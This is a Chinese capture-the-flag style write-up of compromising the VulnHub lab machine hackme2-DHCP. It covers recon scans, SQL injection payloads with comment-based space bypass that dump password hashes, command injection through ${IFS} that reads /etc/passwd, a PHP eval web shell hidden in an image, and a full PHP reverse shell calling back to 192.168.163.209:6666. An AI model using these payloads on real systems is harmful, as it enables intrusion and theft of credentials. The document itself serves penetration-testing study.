vulnhub----hackme2-DHCP靶机

文章目录

  • 一,信息收集
    • 1.网段探测
    • 2.端口扫描
    • 3.目录扫描
  • 二,信息分析
  • 三,sql注入
    • 1.判断SQL注入
    • 2.查询显示位
    • 3.查询注入点
    • 4.查询库
    • 5.查询表
    • 6.查字段
    • 7. 查user表中的值
    • 8.登陆superadmin用户
  • 四,漏洞利用
    • 文件上传
    • 命令执行
    • 蚁剑连接
  • 五,反弹shell
    • 1.上传php木马文件
    • 2.本地监听
  • 六,提权

一,信息收集

1.网段探测

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.163.28
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.152 d2:a6:97:bb:46:9d       (Unknown: locally administered)
192.168.163.193 00:0c:29:01:34:57       VMware, Inc.
192.168.163.209 7c:b5:66:a5:f0:a5       Intel Corporate3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.946 seconds (131.55 hosts/sec). 3 responded

2.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.163.193              
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:01:34:57 (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.163.193      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6ba824d6092fc99a8eabbc6e7d4eb9ad (RSA)
|   256 abe84f5338062c6af392e3974a0e3ed1 (ECDSA)
|_  256 327690b87dfca4326310cd676149d6c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:01:34:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds

3.目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.163.193" -x 403,404,500_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.163.193/_24-02-26_00-44-22.txtTarget: http://192.168.163.193/[00:44:22] Starting: 
[00:44:41] 200 -    0B  - /config.php                                       
[00:44:51] 200 -  527B  - /login.php                                        
[00:44:52] 302 -    0B  - /logout.php  ->  login.php                        
[00:45:01] 200 -  594B  - /register.php                                     
[00:45:09] 301 -  320B  - /uploads  ->  http://192.168.163.193/uploads/     Task Completed
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.163.193"    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.163.193
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 320] [--> http://192.168.163.193/uploads/]
/server-status        (Status: 403) [Size: 303]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished

二,信息分析

访问http://192.168.163.193/login.php,是一个登陆页面,弱密码进不去
在这里插入图片描述
通过目录扫描,访问扫http://192.168.163.193//register.php,是一个注册页面,注册账号登陆试试
在这里插入图片描述

登陆后,发现是一个查询的页面,猜测有sql注入,不输入任何数据,出现表单
在这里插入图片描述

三,sql注入

我是用抓包形式,进行sql注入,个人认为比较方便

1.判断SQL注入

在OSINT后加一个',页面不显示,任何东西,说明有sql注入
在这里插入图片描述在这里插入图片描述在查显示位,猜测有空格过滤
在这里插入图片描述

2.查询显示位

空格过滤
/**/

在这里插入图片描述
在这里插入图片描述

3.查询注入点

search=-OSINT'/**/union/**/select/**/1,2,3#

在这里插入图片描述

4.查询库

search=-OSINT'/**/union/**/select/**/1,2,database()#
在这里插入图片描述

5.查询表

search=OSINT'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='webapphacking'#

在这里插入图片描述

6.查字段

OSINT'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'#

在这里插入图片描述

7. 查user表中的值

search=OSINT'/**/union/**/select/**/group_concat(user,":",pasword),2,3/**/from/**/users#

在这里插入图片描述

user1:5d41402abc4b2a76b9719d911017c592,
user2:6269c4f71a55b24bad0f0267d9be5508,
user3:0f359740bd1cda994f8b55330c86d845,
test:05a671c66aefea124cc08b76ea6d30bb,
superadmin:2386acb2cf356944177746fc92523983,
test1:05a671c66aefea124cc08b76ea6d30bb,
admin:e64b78fc3bc91bcbc7dc232ba8ec59e0,
asd:e64b78fc3bc91bcbc7dc232ba8ec59e0

https://www.somd5.com/
在这里插入图片描述

superadmin/Uncrackable

8.登陆superadmin用户

在这里插入图片描述

四,漏洞利用

文件上传

白名单

在这里插入图片描述

命令执行

在last name中,发现执行点
在这里插入图片描述

在这里插入图片描述

空格过滤
system('cat${IFS}/etc/passwd')
system('cat$IFS$1/etc/passwd')

在这里插入图片描述查看uploads目录,因为uploads只能上传图片格式的文件,所有我们上传恶意的图片,然后通过命令执行更改后缀名
在这里插入图片描述

system('ls${IFS}-al${IFS}/var/www/html/uploads')

在这里插入图片描述

year2020这个是上传的目录
system('ls${IFS}-al${IFS}/var/www/html/uploads/year2020')

在这里插入图片描述

上传恶意的图片GIF89a
<?php @eval($_POST['c']);?>

在这里插入图片描述

修改后缀
system('mv${IFS}/var/www/html/uploads/year2020/1.jpg${IFS}/var/www/html/uploads/year2020/1.php')
执行成功后,查看

在这里插入图片描述

访问
http://192.168.163.193/uploads/year2020/1.php

在这里插入图片描述

蚁剑连接

在这里插入图片描述

五,反弹shell

1.上传php木马文件

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.163.209';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

在这里插入图片描述

2.本地监听

在这里插入图片描述

六,提权

呃,这个提权。。。。。。。。。。。
在legacy目录下有一个可执行文件,直接执行,就是root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2812000.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

商家入驻平台怎么让资金自动分配给商家

最近很多上线了多商户电商系统的朋友咨询&#xff0c;我们平台的用户支付后&#xff0c;钱进入了我们的对公账户&#xff0c;怎样让钱在走完流程后&#xff0c;自动进入商家的账户呢&#xff1f;今天商淘云为您分享商户入驻平台自动分配给商家资金的三种方法。 首先是平台应建立…

k8s二进制部署的搭建

1.1 常见k8s安装部署方式 ●Minikube Minikube是一个工具&#xff0c;可以在本地快速运行一个单节点微型K8S&#xff0c;仅用于学习、预览K8S的一些特性使用。 部署地址&#xff1a;Install Tools | Kubernetes ●Kubeadm Kubeadm也是一个工具&#xff0c;提供kubeadm init…

Java根据excel模版导出Excel(easyexcel、poi)——含项目测试例子拿来即用

Java根据excel模版导出Excel&#xff08;easyexcel、poi&#xff09;——含项目测试例子拿来即用 1. 前言1.1 关于Excel的一般导出2.2 关于easyexcel的根据模版导出 2. 先看效果2.1 模版2.2 效果 3. 代码实现&#xff08;核心代码&#xff09;3.1 项目代码结构3.2 静态填充例子…

数字电路 第四章—第一节(触发器——概述)

一、对触发器的基本要求 1、触发器的概念 在数字电路中&#xff0c;基本的工作信号是二进制数字信号和两状态逻辑信号&#xff0c;而触发器就是存放这些信号的单元电路。 2、对触发器的基本要求 &#xff08;1&#xff09;具有两个稳定状态——0状态和1状态&#xff0c;以正…

负载均衡.

简介: 将请求/数据【均匀】分摊到多个操作单元上执行&#xff0c;负载均衡的关键在于【均匀】。 负载均衡的分类: 网络通信分类 四层负载均衡:基于 IP 地址和端口进行请求的转发。七层负载均衡:根据访问用户的 HTTP 请求头、URL 信息将请求转发到特定的主机。 载体维度分类 硬…

物资管理新篇章:Java+SpringBoot实战

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

List去重有几种方式

目录 1、for循环添加去重 2、for 双循环去重 3、for 双循环重复坐标去重 4、Set去重 5、stream流去重 1、for循环添加去重 List<String> oldList new ArrayList<>();oldList.add("张三");oldList.add("张三");oldList.add("李四&q…

数字电路 第三章—第七节(用中规模集成电路实现组合逻辑函数)

一、用数据选择器实现组合逻辑函数 1、基本原理和步骤 &#xff08;1&#xff09;原理&#xff1a;选择器的输出为标准与或式&#xff0c;含地址变量的全部最小项&#xff08;如下图所示的红线标注部分&#xff09;&#xff0c;而任何组合逻辑函数都可以表示成为最小项之和的…

项目管理工具git

git 1. git介绍1.1. 版本控制系统 2. 创建本地版本库2.1 概念2.2 操作步骤 3. 修改文件4. 练习: 添加一个本地项目到仓库5. 添加远程仓库5.1 添加远程仓库5.2 本地仓库同步到远程仓库5.3 克隆远程仓库到本地5.4 SSH设置 6. 分支管理6.1 创建分支6.2 切换分支6.3 合并分支6.4 解…

实践航拍小目标检测,基于轻量级YOLOv8n开发构建无人机航拍场景下的小目标检测识别分析系统

关于无人机相关的场景在我们之前的博文也有一些比较早期的实践&#xff0c;感兴趣的话可以自行移步阅读即可&#xff1a; 《deepLabV3Plus实现无人机航拍目标分割识别系统》 《基于目标检测的无人机航拍场景下小目标检测实践》 《助力环保河道水质监测&#xff0c;基于yolov…

QT之项目经验(windows下的sqlite,c++开发)

目录 一、需要时间去磨练gui的调整和优化 1. 借鉴网上开源项目学习 2. gui的布局及调整是磨人的一件事情 3. gui的布局也是可以用组件复刻的 4. 耗时的设备树 二、多线程异步弹窗 三、定时任务动态变更设定 1.确定按钮触发 2.此处监听定时任务时间的改变 3.此处对改变做出具…

[算法沉淀记录]排序算法 —— 快速排序

排序算法 —— 快速排序介绍 基本概念 快速排序&#xff08;Quicksort&#xff09;是一种排序算法&#xff0c;最早由东尼霍尔提出。在平均状况下&#xff0c;排序 n 个项目要 Ο(n log n) 次比较。在最坏状况下则需要 Ο(n2) 次比较&#xff0c;但这种状况并不常见。事实上&…

linux centos7.9改dns和ip

vi /etc/sysconfig/network-scripts/ifcfg-ens32 &#xff1a;wq后 重启网络服务 systemctl restart network —————————————————————————— 篇外话题 软件下载 xshell可以从腾讯软件中心下载

Open CASCADE学习|GC_MakeArcOfCircle构造圆弧

目录 1、通过圆及圆的两个参数创建圆弧&#xff0c;参数为弧度角 2、通过圆及圆上的一点、圆的1个参数创建圆弧&#xff0c;参数为弧度角&#xff0c;Sense决定方向 3、通过圆及圆上的两个点创建圆弧&#xff0c;Sense决定方向 4、通过三点创建圆弧&#xff0c;最后一点应安…

react useRef用法

1&#xff0c;保存变量永远不丢失 import React, { useState,useRef } from react export default function App() { const [count,setcount] useState(0) var mycount useRef(0)//保存变量永远不丢失--useRef用的是闭包原理 return( <div> <button onClick{()>…

SpringBoot使用classfinal-maven-plugin插件加密Jar包

jar包加密 1、在启动类的pom.xml中加入classfinal-maven-plugin插件 <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><…

Qt QWidget 简约美观的加载动画 第五季 - 小方块风格

给大家分享两个小方块风格的加载动画 &#x1f60a; 第五季来啦 &#x1f60a; 效果如下: 一个三个文件,可以直接编译运行 //main.cpp #include "LoadingAnimWidget.h" #include <QApplication> #include <QGridLayout> int main(int argc, char *arg…

Python之词频统计(自然语言处理)

背景 词频统计是指对一段文本中每个单词出现的次数进行计数分析。这种分析有助于了解文本的重点词汇、主题或作者的写作风格。如果你有一个特定的文本或想要分析某些内容的词频&#xff0c;你可以提供文本&#xff0c;我可以为你进行简单的词频统计。 例如&#xff0c;如果你…

jeesite用字典项配置二级下拉选

1、配置字典项 2、html代码&#xff1a;修改下拉选项框 <div class"col-xs-6"><div class"form-group"><label class"control-label col-sm-4" title""><span class"required">*</span> ${…

备考北京高考数学:历年选择题真题练一练和解析(2014-2023)

还有三个多月的时间就要高考了&#xff0c;我们今天继续看北京市高考数学真题和解析。今天看5道选择题。独家制作的在线练习集&#xff0c;可以便捷地反复刷这些真题&#xff0c;吃透真题&#xff08;背后的知识点和解题技巧&#xff09;&#xff0c;让高考数学再上一个台阶。 …